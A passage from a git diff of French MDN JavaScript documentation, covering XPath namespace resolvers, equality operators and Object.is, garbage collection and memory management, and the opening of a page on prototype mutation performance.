Afin d'associer le préfixe mathml: avec l'URI d'espace de nommage 'http://www.w3.org/1998/Math/MathML' et xhtml: avec l'URI http://www.w3.org/1999/xhtml, nous fournissons une fonction :

- -
function nsResolver(prefix) {
-  var ns = {
-    'xhtml' : 'http://www.w3.org/1999/xhtml',
-    'mathml': 'http://www.w3.org/1998/Math/MathML'
-  };
-  return ns[prefix] || null;
-}
-
- -

L'appel à document.evaluate ressemblera alors à :

- -
document.evaluate( '//xhtml:td/mathml:math', document, nsResolver, XPathResult.ANY_TYPE, null );
-
- -

Implémentation d'un espace de nommage par défaut pour les documents XML

- -

Comme nous l'avons vu précédemment dans la section #Implémentation d'un résolveur d'espaces de nommage par défaut, le résolveur par défaut ne gère pas l'espace de nommage par défaut pour les documents XML. Par exemple, avec ce document :

- -
<?xml version="1.0" encoding="UTF-8"?>
-<feed xmlns="http://www.w3.org/2005/Atom">
-    <entry />
-    <entry />
-    <entry />
-</feed>
-
- -

doc.evaluate('//entry', doc, nsResolver, XPathResult.ANY_TYPE, null) retournera un ensemble vide, où nsResolver est le résolveur retourné par createNSResolver. Passé un résolveur null ne fonctionne pas mieux.

- -

Une alternative possible est de créer un résolveur personnalisé qui retournera le bon espace de nommage (l'espace de nommage Atom dans ce cas). Par exemple :

- -
 function resolver() {
-     return 'http://www.w3.org/2005/Atom';
- }
- doc.evaluate('//entry', doc, resolver, XPathResult.ANY_TYPE, null)
-
- -

Un résolveur plus complexe sera nécessaire si le document utilise de multiple espaces de nommage.

- -

Une approche qui peut potentiellement mieux fonctionner (et autoriser les espaces de nom à ne pas être connus au fil du temps) est décrite dans la section suivante.

- -

Utiliser les fonctions XPath pour référencer les éléments avec un espace de nom par défaut

- -

Une autre approche pour identifier les éléments par défaut dans un espace de noms non-null (et qui fonctionne bien pour les expressions XPath dynamiques où les espaces de noms peuvent ne pas être connus) implique la référence à un élément particulier en utilisant un formulaire tel que [namespace-uri()='http://www.w3.org/1999/xhtml' and name()='p' and @id='_monid']. Cela évite les problèmes résultant en une requête XPath qui n'est pas capable de détecter l'espace de noms par défaut sur un élément labelisé correctement.

- -

Obtenir des éléments et des attributs d'un espace de noms spécifique en ignorant le préfixe

- -

Si l'on souhaite avoir une certaine flexibilité dans les espaces de noms en ne nécessitant pas d'utiliser un préfixe spécifique lorsque l'on veut trouver un élément ou un attribut appartenant à un espace de noms, on doit utiliser des techniques spéciales.

- -

Tandis que l'on peut adapter la technique dans la section supérieure pour tester les éléments appartenant à un espace de noms sans regarder le préfix choisi (en utilisant local-name() combiné avec namespace-uri() à la place de name()), un situation plus compliquée apparaît cependant, si l'on souhaite obtenir un élément avec un attribut appartenant à un espace de noms spécifique dans un prédicat (étant donnée l'absence des variables indépendantes de l'implémentation en XPath 1.0).

- -

Par exemple, on peut essayer (de manière incorrecte) d'obtenir un élément avec un attribut appartenant à un espace de noms de la manière suivante : var xpathlink = someElements[local-name(@*)="href" and namespace-uri(@*)='http://www.w3.org/1999/xlink'];

- -

Cela pourrait récupérer des éléments par inadvertance si un de ces attributs existaient avec un nom local "href", mais que c'était un autre attribut qui avait le nom d'espace ciblé (XLink, à la place de @href).

- -

Afin d'obtenir des éléments avec l'attribut XLink @href de manière précise (sans par ailleurs être obligé de définir des préfixes dans un résolveur de nom d'espaces), on procéder comme suit :

- -
var xpathEls = 'someElements[@*[local-name() = "href" and manespace-uri() = "http://www.w3.org/1999/xlink"]]'; // Récupère les éléments avec un simple attribute qui a à la fois le nom local 'href' and l'espace de noms XLink
-var thislevel = xml.evaluate(xpathEls, xml, null, XPathResult.ANY_TYPE, null);
-var thisitemEl = thislevel.iterateNext();
-
- -

Constantes définies de XPathResult

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Constante du type de résultatValeurDescription
ANY_TYPE0Un ensemble contenant n'importe quel type qui résulte naturellement de l'évaluation de l'expression. Notez que si c'est un ensemble de noeuds qui doit être retourné, alors le type résultant sera toujours UNORDERED_NODE_ITERATOR_TYPE.
NUMBER_TYPE1Un résultat contenant un seul nombre. C'est utile, par exemple, dans une expression XPath utilisant la fonction count().
STRING_TYPE2Un résultat contenant une seule chaîne de caractère.
BOOLEAN_TYPE3Un résultat contenant une seule valeur booléenne. C'est utile, par exemple, dans une expression XPath utilisant la fonction not().
UNORDERED_NODE_ITERATOR_TYPE4Un ensemble de nœuds contenant tous les nœuds vérifiant l'expression. Les nœuds ne sont pas nécessairement dans le même ordre que celui dans lequel ils apparaissent dans le document.
ORDERED_NODE_ITERATOR_TYPE5Un ensemble de nœuds contenant tous les nœuds vérifiant l'expression. Les nœuds du résultat sont dans le même ordre que celui dans lequel ils apparaissent dans le document.
UNORDERED_NODE_SNAPSHOT_TYPE6Un ensemble de nœuds contenant les snapshots de tous les nœuds vérifiant l'expression. Les nœuds ne sont pas nécessairement dans le même ordre que celui dans lequel ils apparaissent dans le document.
ORDERED_NODE_SNAPSHOT_TYPE7Un ensemble de nœuds contenant les snapshots de tous les nœuds vérifiant l'expression. Les nœuds du résultat sont dans le même ordre que celui dans lequel ils apparaissent dans le document.
ANY_UNORDERED_NODE_TYPE8Un ensemble de nœuds contenant un seul nœud vérifiant l'expression. Le nœud n'est pas nécessairement le premier dans l'ordre du document qui correspond à l'expression.
FIRST_ORDERED_NODE_TYPE9Un ensemble de nœuds contenant le premier nœud du document vérifiant l'expression.
- -

Voir aussi

- - diff --git "a/files/fr/web/javascript/les_diff\303\251rents_tests_d_\303\251galit\303\251/index.html" "b/files/fr/web/javascript/les_diff\303\251rents_tests_d_\303\251galit\303\251/index.html" deleted file mode 100644 index 3208ebe8bc..0000000000 --- "a/files/fr/web/javascript/les_diff\303\251rents_tests_d_\303\251galit\303\251/index.html" +++ /dev/null @@ -1,490 +0,0 @@ ---- -title: Utiliser les différents tests d'égalité -slug: Web/JavaScript/Les_différents_tests_d_égalité -tags: - - Guide - - Intermédiaire - - JavaScript -translation_of: Web/JavaScript/Equality_comparisons_and_sameness ---- -
{{jsSidebar("Intermediate")}}
- -

JavaScript fournit trois opérations permettant de comparer des valeurs :

- -
    -
  • L'égalité stricte (ou identité ou « triple égal ») utilisant ===,
    • -
  • L'égalité faible (ou « double égal ») utilisant ==,
    • -
  • {{jsxref("Object.is")}} (ajouté avec ECMAScript 2015).
    • -
- -

Ces trois opérations sont associées à quatre algorithmes d'égalité (depuis ES2015) :

- - - -

Selon la comparaison qu'on souhaite effectuer, on choisira une de ces opérations.

- -

En résumé :

- -
    -
  • L'égalité faible (==) effectuera une conversion des deux éléments à comparer avant d'effectuer la comparaison
    • -
  • L'égalité stricte (===) effectuera la même comparaison mais sans conversion préalable (elle renverra toujours false si les types des deux valeurs comparées sont différents)
    • -
  • Enfin Object.is() se comportera comme l'égalité stricte sauf pour les valeurs NaN, -0 et +0 : pour Object.is(), -0 et +0 seront différents mais on aura Object.is(NaN, NaN) qui sera true. (Généralement, quand on compare NaN avec NaN en utilisant l'égalité stricte ou l'égalité faible, cela donne false afin de respecter la norme IEEE 754.)
    • -
- -

On notera que pour ces trois opérations, la comparaison s'effectue sur les valeurs des éléments qu'on compare, aucune de ces opérations ne permet de comparer la structure des paramètres. Pour des objets non primitifs, x et y qui ont la même structure mais qui sont des objets distincs, chacune des opérations présentées ci-avant sera évaluée à false.

- -

L'égalité stricte avec ===

- -

L'égalité stricte compare deux valeurs et teste leur égalité. Aucune des valeurs n'est convertie implicitement en une autre valeur avant que la comparaison soit effectuée. Si les valeurs sont typées différemment, elles sont considérées comme différentes. Si les valeurs sont de même type et ne sont pas des nombres, elles sont considérées égales si elles ont la même valeur. Si les deux valeurs sont des nombres, elles sont égales si elles ont la même valeur et que cette valeur n'est pas NaN ou si l'une vaut +0 et l'autre -0.

- -
var num = 0;
-var obj = new String("0");
-var str = "0";
-
-console.log(num === num); // true
-console.log(obj === obj); // true
-console.log(str === str); // true
-
-console.log(num === obj); // false
-console.log(num === str); // false
-console.log(obj === str); // false
-console.log(null === undefined); // false
-console.log(obj === null); // false
-console.log(obj === undefined); // false
-
- -

Ce test d'égalité stricte est presque toujours la meilleure des opérations à considérer pour ces tests. Excepté pour les nombres, la sémantique utilisée est simple : une valeur est uniquement égale à elle-même. En ce qui concerne les nombres, il y a deux cas aux limites à considérer. Le premier cas concerne le nombre zéro positif ou négatif. Cela peut être utile dans la représentation de problèmes mathématiques mais ne constitue pas une différence pour de nombreuses situations : le test d'égalité stricte considère que ce sont les mêmes valeurs. Le second cas concerne la valeur « n'est pas un nombre », NaN (pour « not a number » en anglais) permettant de représenter certaines entités mathématiques : la somme des deux infinis (positif et négatif) par exemple. Le test d'égalité stricte considère que NaN est différent de toutes les valeurs, y compris lui-même. (N.B. : Le seul cas de figure pour lequel on a (x !== x) qui renvoie true est lorsque x vaut NaN.)

- -

L'égalité faible avec ==

- -

Le test d'égalité faible compare deux valeurs après les avoir converties en valeurs d'un même type. Une fois converties (la conversion peut s'effectuer pour l'une ou les deux valeurs), la comparaison finale est la même que celle effectuée par ===. L'égalité faible est symétrique : A == B aura toujours la même signification que B == A pour toute valeur de A et B.

- -

La comparaison d'égalité est effectuée comme suit pour des opérandes de différents types :

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Opérande B
UndefinedNullNumberStringBooleanObject
Opérande AUndefinedtruetruefalsefalsefalsefalse
Nulltruetruefalsefalsefalsefalse
NumberfalsefalseA === BA === ToNumber(B)A === ToNumber(B)A == ToPrimitive(B)
StringfalsefalseToNumber(A) === BA === BToNumber(A) === ToNumber(B)A == ToPrimitive(B)
BooleanfalsefalseToNumber(A) === BToNumber(A) === ToNumber(B)A === Bfalse
ObjectfalsefalseToPrimitive(A) == BToPrimitive(A) == BToPrimitive(A) == ToNumber(B) -

A === B

-
- -

Dans le tableau ci-dessus, l'expression ToNumber(A) correspond à une tentative de convertir l'argument en un nombre avant la comparaison. Le résultat obtenu est équivalent à +A (l'opérateur unaire +). ToPrimitive(A) correspond à une tentative de convertir l'argument en une valeur primitive grâce à plusieurs méthodes comme A.toString et A.valueOf.

- -

Selon ECMAScript, au sens de l'égalité faible, tous les objets sont différents de undefined et de null. Cependant, la plupart des navigateurs autorisent, dans certains contextes, unensemble restreint d'objets (notamment l'objet document.all), à agir comme s'ils émulaient la valeur undefined. L'égalité faible est un de ces contextes. Pour tous les autres cas, un objet ne sera jamais approximativement égal à undefined ou à null.

- -
var num = 0;
-var obj = new String("0");
-var str = "0";
-
-console.log(num == num); // true
-console.log(obj == obj); // true
-console.log(str == str); // true
-
-console.log(num == obj); // true
-console.log(num == str); // true
-console.log(obj == str); // true
-console.log(null == undefined); // true
-
-// Les deux assertions qui suivent sont fausses
-// sauf dans certains cas exceptionnels
-console.log(obj == null);
-console.log(obj == undefined);
-
- -

Certains développeurs considèrent que ce n'est jamais une bonne idée d'utiliser l'égalilté faible. Le résultat d'une comparaison utilisant l'égalité stricte est plus simple à appréhender et à prédire, de plus il n'y a aucune conversion implicite ce qui rend le test plus rapide.

- -

Égalité de valeurs

- -

L'égalité de valeurs répond à un dernier cas d'utilisation : savoir si deux valeurs sont fonctionnellement identiques pour tout contexte. (Ce cas d'utilisation est un exemple du principe de substitution de Liskov). On retrouve ce cas lorsqu'on essaie de changer une propriété immuable :

- -
// Ajouter la propriété immuable NEGATIVE_ZERO au constructor Number.
-Object.defineProperty(Number, "NEGATIVE_ZERO",
-                      { value: -0, writable: false, configurable: false, enumerable: false });
-
-function attemptMutation(v) {
-  Object.defineProperty(Number, "NEGATIVE_ZERO", { value: v });
-}
-
- -

Object.defineProperty lancera une exception pour tout changement de la propriété qui serait réellement un changement. Rien ne se passera si aucun changement n'est nécessaire. Ainsi, si v vaut -0, aucun changement n'est nécessaire et il n'y aura pas d'erreur. Mais si v vaut +0, Number.NEGATIVE_ZERO n'aurait plus la même valeur immuable. De façon interne à l'implémentation, la nouvelle valeur est comparée avec la valeur courante en utilisant une égalité de valeurs.

- -

L'égalité de valeurs peut être testée grâce à la méthode {{jsxref("Object.is")}}.

- -

Égalité de valeurs nulles

- -

On utilise la même égalité que l'égalité de valeur et on considère que +0 et -0 sont égaux.

- -

Égalité abstraite, égalité stricte et valeurs identiques : la spécification

- -

Selon ES5, la comparaison effectuée par == est décrite dans la section 11.9.3 sur l'algorithme d'égalité abstraite (Abstract Equality Algorithm). La comparaison donnée par === est décrite dans la section 11.9.6 sur l'algorithme d'égalité stricte (Strict Equality Algorithm). Ces documents sont en anglais mais sont tout à fait abordables, ne pas hésiter à les consulter (conseil : d'abord commencer par l'algorithme d'égalité stricte). ES5 décrit également, dans la section 9.12 sur l'algorithme SameValue, l'opération utilisée en interne par le moteur JavaScript. Cet algorithme est principalement basé sur l'algorithme d'égalité stricte : 11.9.6.4 et 9.12.4 diffèrent en ce qui concerne les nombres. ES6 (ECMAScript 2015) permet d'utiliser cet algorithme grâce à la méthode {{jsxref("Object.is")}}.

- -

Dans ces documents, on peut voir que l'algorithme d'égalité stricte est un sous-ensemble de l'algorithme d'égalité abstraite (exception faite de la vérification du type) car 11.9.6.2–7 correspond exactement à 11.9.3.1.a–f.

- -

Un modèle pour mieux comprendre ?

- -

Avant ES6 (ECMAScript 2015), il était courant de dire que l'égalité stricte avec le triple égal était une version « améliorée » de l'égalité faible (double égal) et vice versa. En effet, l'égalité faible ajoute une étape de conversion des types qui n'est pas fournie par l'égalité stricte (ce qui permet d'avoir 6 == "6"). On peut aussi dire que l'égalité stricte est une version améliorée de l'égalité simple car elle ajoute une fonctionnalité de vérification des types. Selon votre approche et votre problème, une de ces égalités se prêtera mieux à la résolution.

- -

Cependant, ce « modèle de pensées » ne peut pas être étendu avec l'arrivée d'{{jsxref("Object.is")}} avec ES6 (ECMAScript 2015). En effet Object.is() n'est pas plus « faible » que l'égalité faible ou plus « stricte » que l'égalité stricte et il n'est pas non plus quelque part entre les deux. Dans le tableau de comparaison ci-après, on voit que la différence provient avant tout de la façon dont {{jsxref("Object.is")}} gère {{jsxref("NaN")}}. On note ici que si Object.is(NaN, NaN) valait false, on pourrait dire qu'Object.is() est plus stricte que == ou === car elle distingue -0 et +0. Cependant, ce n'est pas le cas et on a bien Object.is(NaN,NaN) qui vaut true. C'est pour cette raison qu'il faut considérer {{jsxref("Object.is")}} selon ses caractéristiques spécifiques plutôt que comme une version plus faible ou plus stricte des autres opérateurs d'égalité.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Comparaisons d'égalité
xy=====Object.isSameValueZero
undefinedundefinedtruetruetruetrue
nullnulltruetruetruetrue
truetruetruetruetruetrue
falsefalsetruetruetruetrue
'toto''toto'truetruetruetrue
00truetruetruetrue
+0-0truetruefalsetrue
+00truetruetruetrue
-00truetruefalsetrue
0falsetruefalsefalsefalse
""falsetruefalsefalsefalse
""0truefalsefalsefalse
'0'0truefalsefalsefalse
'17'17truefalsefalsefalse
[1, 2]'1,2'truefalsefalsefalse
new String('toto')'toto'truefalsefalsefalse
nullundefinedtruefalsefalsefalse
nullfalsefalsefalsefalsefalse
undefinedfalsefalsefalsefalsefalse
{ toto: 'truc' }{ toto: 'truc' }falsefalsefalsefalse
new String('toto')new String('toto')falsefalsefalsefalse
0nullfalsefalsefalsefalse
0NaNfalsefalsefalsefalse
'toto'NaNfalsefalsefalsefalse
NaNNaNfalsefalsetruetrue
- -

Quand utiliser {{jsxref("Object.is")}} et quand utiliser l'égalité stricte

- -

En plus de la façon dont {{jsxref("Object.is")}} traite NaN, la spécificité d'Object.is() réside dans sa façon de traiter les valeurs proches de zéro. Dans des cas d'utilisation où on a besoin d'effectuer de la méta-programmation, notamment pour imiter certaines caractéristiques de {{jsxref("Object.defineProperty")}}. Si le scénario d'utilisation ne nécessite pas ce comportement, il est conseillé d'utiliser ===. Même si on souhaite pouvoir comparer NaN avec lui-même et que ce test vaille true, il sera plus simple d'utiliser la méthode {{jsxref("isNaN")}} disponible avec les versions antérieures d'ECMAScript. En effet, cela évite d'avoir à traiter des cas plus complexes où il faudrait gérer les signes des zéros dans les différentes comparaisons.

- -

Voici une liste (non exhaustive) d'opérateurs et de méthodes natives qui peuvent entraîner l'apparition des valeurs -0 et +0 dans le code :

- -
-
- (négation unaire)
-
- -
-
-

Si on prend l'opposé de 0, on aura, bien entendu,-0. Cependant, avec les expressions, cela peut faire que la valeur -0 se glisse dans les variables sans qu'on s'en rende compte. Par exemple :

- - 
let forceArrêt = obj.masse * -obj.vitesse
- -

Si obj.vitesse vaut 0 (ou est évalué à 0), un -0 sera introduit, ce qui fera que forceArrêt pourra être négative.

-
-
- -
-
{{jsxref("Math.atan2")}}
- {{jsxref("Math.ceil")}}
- {{jsxref("Math.pow")}}
- {{jsxref("Math.round")}}
-
- -
-
Ces méthodes peuvent introduire -0 dans une expression lors de leur évaluation, même si -0 ne faisait pas partie des paramètres. Par exemple, si on utilise Math.pow() pour élever {{jsxref("Infinity", "-Infinity")}} à une puissance négative, on obtiendra -0 pour une puissance impaire. Pour plus de détails, voir la documentation de chaque méthode.
-
- -
-
{{jsxref("Math.floor")}}
- {{jsxref("Math.max")}}
- {{jsxref("Math.min")}}
- {{jsxref("Math.sin")}}
- {{jsxref("Math.sqrt")}}
- {{jsxref("Math.tan")}}
-
- -
-
Ces méthodes peuvent renvoyer -0 dans certains cas où -0 est passé en paramètre. Par exemple, Math.min(-0, +0) fournira -0. Pour plus de détails, voir la documentation de chaque méthode.
-
- -
-
~
-
<<
-
>>
-
Chacun de ces opérateurs utilise l'algorithme ToInt32 interne au moteur JavaScript. Étant donné qu'il n'y a qu'une seule représentation pour 0 sur les entiers exprimés avec le type interne sur 32 bits, -0 ne sera pas invariant pour deux opérations symétriques : Object.is(~~(-0), -0) et Object.is(-0 << 2 >> 2, -0) renverront tous les deux false.
-
- -

Si on utilise {{jsxref("Object.is")}} et qu'on ne souhaite pas gérer les cas aux limites autour de zéro, cela peut avoir des effet indésirés. En revanche, si on souhaite effectivement comparer -0 et +0, c'est la méthode à adopter.

- -

Voir aussi

- - diff --git a/files/fr/web/javascript/memory_management/index.html b/files/fr/web/javascript/memory_management/index.html new file mode 100644 index 0000000000..b770d41ba3 --- /dev/null +++ b/files/fr/web/javascript/memory_management/index.html @@ -0,0 +1,207 @@ +--- +title: Gestion de la mémoire +slug: Web/JavaScript/Gestion_de_la_mémoire +tags: + - JavaScript + - Mémoire + - Performance +translation_of: Web/JavaScript/Memory_Management +--- +
{{JsSidebar("Advanced")}}
+ +

Les langages de bas niveau, tels que C, possèdent des primitives permettant de gérer la mémoire : malloc() et free() par exemple. En revanche, lorsqu'on utilise JavaScript, la mémoire est allouée lors de la création des objets puis libérée « automatiquement » lorsque ceux-ci ne sont plus utilisés. Cette libération automatique est appelée garbage collection en anglais ou ramasse-miettes. Le fait que ce processus soit automatique est souvent source de confusion et donne parfois l'impression que JavaScript (ou d'autres langages de haut niveau) ne permet pas de gérer la mémoire : nous allons voir que ce n'est pas le cas.

+ +

Le cycle de vie de la mémoire

+ +

Quel que soit le langage de programmation, le cycle de vie de la mémoire ressemblera à :

+ +
    +
  1. Allouer la mémoire dont on a besoin
    2. +
  2. Utiliser cette mémoire allouée (lecture, écriture)
    3. +
  3. Libérer la mémoire allouée lorsqu'on n'en a plus besoin
    4. +
+ +

Le deuxième point est explicite, au niveau du code, pour tous les langages de programmation. Le premier et le troisième points sont explicites pour les langages de bas niveau mais souvent implicites pour les langages de haut niveau tels que JavaScript.

+ +

Allocation de la mémoire en JavaScript

+ +

Initialisation des valeurs

+ +

Afin de simplifier l'écriture de code, JavaScript alloue la mémoire lors de la déclaration des variables :

+ +
// alloue de la mémoire pour un nombre
+var n = 123;
+// alloue de la mémoire pour une chaîne de caractères
+var s = "azerty";
+
+// alloue de la mémoire pour un objet et les valeurs qu'il contient
+var o = {
+  a: 1,
+  b: null
+};
+
+// alloue de la mémoire pour un tableau et les valeurs qu'il contient
+var a = [1, null, "abra"];
+
+// alloue de la mémoire pour une fonction
+// une fonction est un objet qui peut être appelé
+function f(a) {
+  return a + 2;
+}
+
+// les expressions de fonction allouent aussi de la mémoire
+unElement.addEventListener('click', function(){
+  unElement.style.backgroundColor = 'blue';
+}, false);
+
+ +

Allocation par appels de fonctions

+ +

Certains appels de fonctions entraînent l'allocation mémoire d'un objet.

+ +
// Alloue la mémoire pour un objet date
+var d = new Date();
+
+// Alloue de la mémoire pour un objet représentant un élément du DOM
+var e = document.createElement('div');
+
+ +

Certaines méthodes allouent de la mémoire pour des nouveaux objets ou de nouvelles valeurs.

+ +
var s = "azerty";
+var s2 = s.substr(0, 3); // s2 est une nouvelle chaîne de caractères
+// Les chaînes étant immuables, JavaScript peut choisir
+// de ne pas allouer de mémoire mais seulement
+// de stocker l'intervalle [0, 3].
+
+var a = ["ouais ouais", "nan nan"];
+var a2 = ["génération", "nan nan"];
+var a3 = a.concat(a2);
+// nouveau tableau de 4 éléments
+// (résultat de la concaténation de a et a2)
+
+ +

Utilisation des variables

+ +

Utiliser des variables revient à lire et écrire la mémoire allouée. Cela peut être effectué lorsqu'on lit ou modifie la valeur d'une variable ou d'une propriété d'un objet ou encore lorsqu'on passe un argument à une fonction.

+ +

Libérer la mémoire qui n'est plus nécessaire

+ +

La plupart des problèmes concernant la gestion de la mémoire surviennent à cet endroit. Le plus difficile est de savoir « quand » la mémoire allouée n'est plus utilisée. Pour les langages « bas niveau », il faut donc que le développeur détermine quelle partie de la mémoire n'est plus utilisée à tel endroit du code et la libère.

+ +

Les interpréteurs des langages de haut niveau intègrent un composant logiciel, appelé « ramasse-miettes » qui a pour but de surveiller l'utilisation de la mémoire afin de déterminer quand une partie de la mémoire allouée n'est plus utilisée afin de la libérer automatiquement. Ce procédé ne peut être qu'une approximation car savoir si tel ou tel fragment de mémoire est nécessaire est un problème indécidable (autrement dit, ce problème ne peut être résolu par un algorithme).

+ +

Le ramasse-miettes ou garbage collection

+ +

Comme on vient de le voir, savoir si de la mémoire peut être libérée demeure un problème indécidable. Les ramasses-miettes ne sont donc que des solutions restreintes pour ce problème. La section qui suit détaille les notions importantes pour comprendre ce mécanisme, ainsi que ses limitations.

+ +

Références

+ +

Le concept principal utilisé par les algorithmes de ramasse-miettes est celui de référence. Dans ce contexte, un objet en référence un autre lorsqu'il a accès à lui (implicitement ou explicitement). Ainsi, un objet JavaScript référencera son prototype (référence implicite) et ses propriétés (référence explicite).

+ +

Dans ce contexte, la notion d'objet s'étend et dépasse celle utilisée pour décrire les objets JavaScript, elle contiendra notamment les portées de fonctions (ou la portée globale).

+ +

Compter les références

+ +

L'algorithme le plus simple consiste à faire l'équivalence entre « un objet n'est plus nécessaire » et « un objet n'a pas d'objet le référençant ». Ainsi un objet peut être « ramassé » par le ramasse-miettes quand il n'y a plus de références pointant vers lui.

+ +

Exemple

+ +
var o = {
+  a: {
+    b: 2
+  }
+};
+// 2 objets sont créés. L'un est référencé par l'autre en tant que propriété.
+// L'autre est référencé car assigné à la variable 'o'.
+// Aucun des deux ne peut être ramassé par le ramasse-miettes.
+
+
+var o2 = o; // la variable 'o2' est le deuxième élément qui
+            // référence l'objet o
+o = 1;      // désormais, l'objet qui était dans 'o' possède
+            // une seule référence de o2 vers lui
+
+var oa = o2.a; // référence la propriété 'a' de l'objet
+               // cet objet a donc 2 références : une
+               // par une propriété, l'autre par la variable 'oa'
+
+o2 = "yo"; // L'objet 'o' ne possède plus de références vers lui
+           // Il peut être ramassé.
+           // Cependant sa propriété 'a' est toujours référencé.
+           // La mémoire ne peut donc pas être libérée.
+
+oa = null; // la propriété 'a' ne possède plus de références
+           // vers elle. L'objet peut être ramassé et la mémoire
+           // libérée.
+
+ +

Une limitation : les cycles

+ +

Cet algorithme est limité car il ne peut pas gérer les cycles (exemple : A référence B et B référence A, ce qui forme un cycle). Avec les cycles, des objets pourraient très bien ne plus être nécessaires et cependant il serait impossible de les ramasser pour libérer la mémoire en utilisant l'algorithme précédent car chaque objet serait référencé au moins une fois et aucun ne pourrait être « ramassé ». Les références circulaires peuvent parfois entraîner des fuites mémoire.

+ +
function f() {
+  var o = {};
+  var o2 = {};
+  o.a = o2; // o référence o2
+  o2.a = o; // o2 référence o
+
+  return "azerty";
+}
+
+f();
+
+ +

Exemple réel

+ +

Les navigateurs Internet Explorer 6 et 7 utilisent cet algorithme pour gérer les objets du DOM. Certains codes peuvent donc entraîner des fuites de mémoires, en voici un exemple :

+ +
var div;
+window.onload = function() {
+  div = document.getElementById("monElementDiv");
+  div.referenceCirculaire = div;
+  div.desDonnees = new Array(10000).join("*");
+};
+
+ +

Dans cet exemple, l'élément du DOM monElementDiv possède une référence circulaire vers lui-même via la propriété referenceCirculaire. Si la propriété n'est pas retirée ou modifiée de façon explicite, un ramasse-miettes qui compte les références aura toujours au moins une référence comptée, ce qui gardera l'élément DOM en mémoire et ce même s'il a été retiré de l'arbre du DOM. Si l'élément du DOM contient beaucoup de données (ce qui est illustré ici avec la propriétés desDonnées), la mémoire consommée par ces données ne sera jamais libérée.

+ +

Algorithme « marquer et balayer » (mark-and-sweep)

+ +

Cet algorithme réduit la définition « un objet n'est plus nécessaire » à « un objet ne peut être atteint ».

+ +

L'utilisation de cet algorithme implique de savoir quels sont les objets racines (en JavaScript, la racine est l'objet global). De façon périodique, le ramasse-miettes commencera par ces racines, listera tous les objets référencés par ces racines, puis les objets référencés par eux etc. Le ramasse-miettes pourra ainsi construire une liste de tous les objets accessibles et collecter ceux qui ne sont plus accessibles.

+ +

Cet algorithme est meilleur que le précédent car la proposition « un objet possède 0 référence » implique « un objet ne peut être atteint ». En revanche, la réciproque n'est pas vraie comme nous avons pu le voir avec les cycles.

+ +

En 2012, l'ensemble des navigateurs web modernes disposent d'un ramasse-miettes implémentant cet algorithme mark-and-sweep. L'ensemble des améliorations apportées dans ce domaine de JavaScript représentent des améliorations basées sur cet algorithme, ce ne sont pas de nouveaux algorithmes ou une nouvelle définition pour les objets à supprimer.

+ +

Les cycles ne posent plus problème

+ +

Dans l'exemple ci-dessus, après le retour de la fonction, les deux objets ne sont plus référencés par quelque chose d'accessible depuis l'objet global. L'algorithme les marquera donc comme « non-accessibles ».

+ +

Limitation : libérer la mémoire manuellement

+ +

On pourrait parfois avoir envie de décider quand libérer la mémoire. En 2019, il n'est pas possible de déclencher le ramasse miettes en JavaScript.

+ +

Node.js

+ +

Node.js propose certaines options et outils pour configurer et déboguer des problèmes mémoires. Ces fonctionnalités peuvent ne pas être disponibles dans les environnements navigateur.

+ +

Options d'exécution

+ +

La quantité de mémoire pour la mémoire du tas (heap) peut être augmentée avec une option :

+ +
node --max-old-space-size=6000 index.js
+ +

On peut également exposer le ramasse-miettes afin de déboguer des problèmes mémoires. Cela s'active via une option et s'utilise avec le débogueur Chrome :

+ +
node --expose-gc --inspect index.js
+ +

Voir aussi

+ + diff --git "a/files/fr/web/javascript/performance_les_dangers_li\303\251s_\303\240_la_modification_de_prototype/index.html" "b/files/fr/web/javascript/performance_les_dangers_li\303\251s_\303\240_la_modification_de_prototype/index.html" deleted file mode 100644 index 288241297c..0000000000 --- "a/files/fr/web/javascript/performance_les_dangers_li\303\251s_\303\240_la_modification_de_prototype/index.html" +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: 'Performance : les dangers liés à la modification de [[Prototype]' -slug: Web/JavaScript/Performance_les_dangers_liés_à_la_modification_de_Prototype -tags: - - JavaScript - - Performance -translation_of: 'Web/JavaScript/The_performance_hazards_of__[[Prototype]]_mutation' ---- -
{{draft}}
- -

Chaque objet JavaScript possède un prototype (que nous désignerons par la suite par [[Prototype]], la notation utilisée par la spécification et les implémentations). Lorsqu'on recherche des propriétés sur un objet, on consulte d'abord cet objet puis on analyse son prototype (on « remonte la chaîne ») et ensuite le prototype de ce dernier et ainsi de suite jusqu'à trouver la propriété en question ou jusqu'à ce que la chaîne soit terminée. Cette chaîne est particulièrement utile pour émuler l'héritage entre objets.

- -

ECMAScript 6 introduit certaines méthode pour modifier [[Prototype]]. Cette flexibilité a un coût : la dégradation significative des performances. Modifier [[Prototype]] impacte négativement les performances pour tous les moteurs JavaScript modernes. Dans cet article, nous expliquerons pourquoi et nous verrons les alternatives à privilégier.

- -

De l'optimisation des accès aux propriétés dans les moteurs JavaScript

- -

Les objets sont des tables de hachage, ainsi, en théorie (et en pratique) l'accès à une propriété se fait en temps constant. En revanche, ce « temps constant » peut se décomposer en milliers d'instructions machine. Heureusement, les objets et les propriétés sont souvent « prédictibles » et dans ces cas, la structure sous-jacente peut également être prédictible. Les compilateurs à la volée (ou JIT pour Just In Time) reposent sur ce constat pour rendre les accès plus rapides.

- -

L'optimisation des moteurs s'applique grâce à l'ordre selon lequel les propriétés sont ajoutées aux objets. La plupart des propriétés ajoutées aux objets sont ajoutés dans un ordre semblable (exception faite des accès effectués sous la forme obj[val] où val est une valeur dynamique non constante).

- -
function Landmark(lat, lon, desc) {
-  this.location = { lat: lat, long: lon };
-  this.description = desc;
-}
-var lm1 = new Landmark(-90, 0, "South Pole");
-var lm2 = new Landmark(-24.3756466, -128.311018, "Pitcairn Islands");
- -

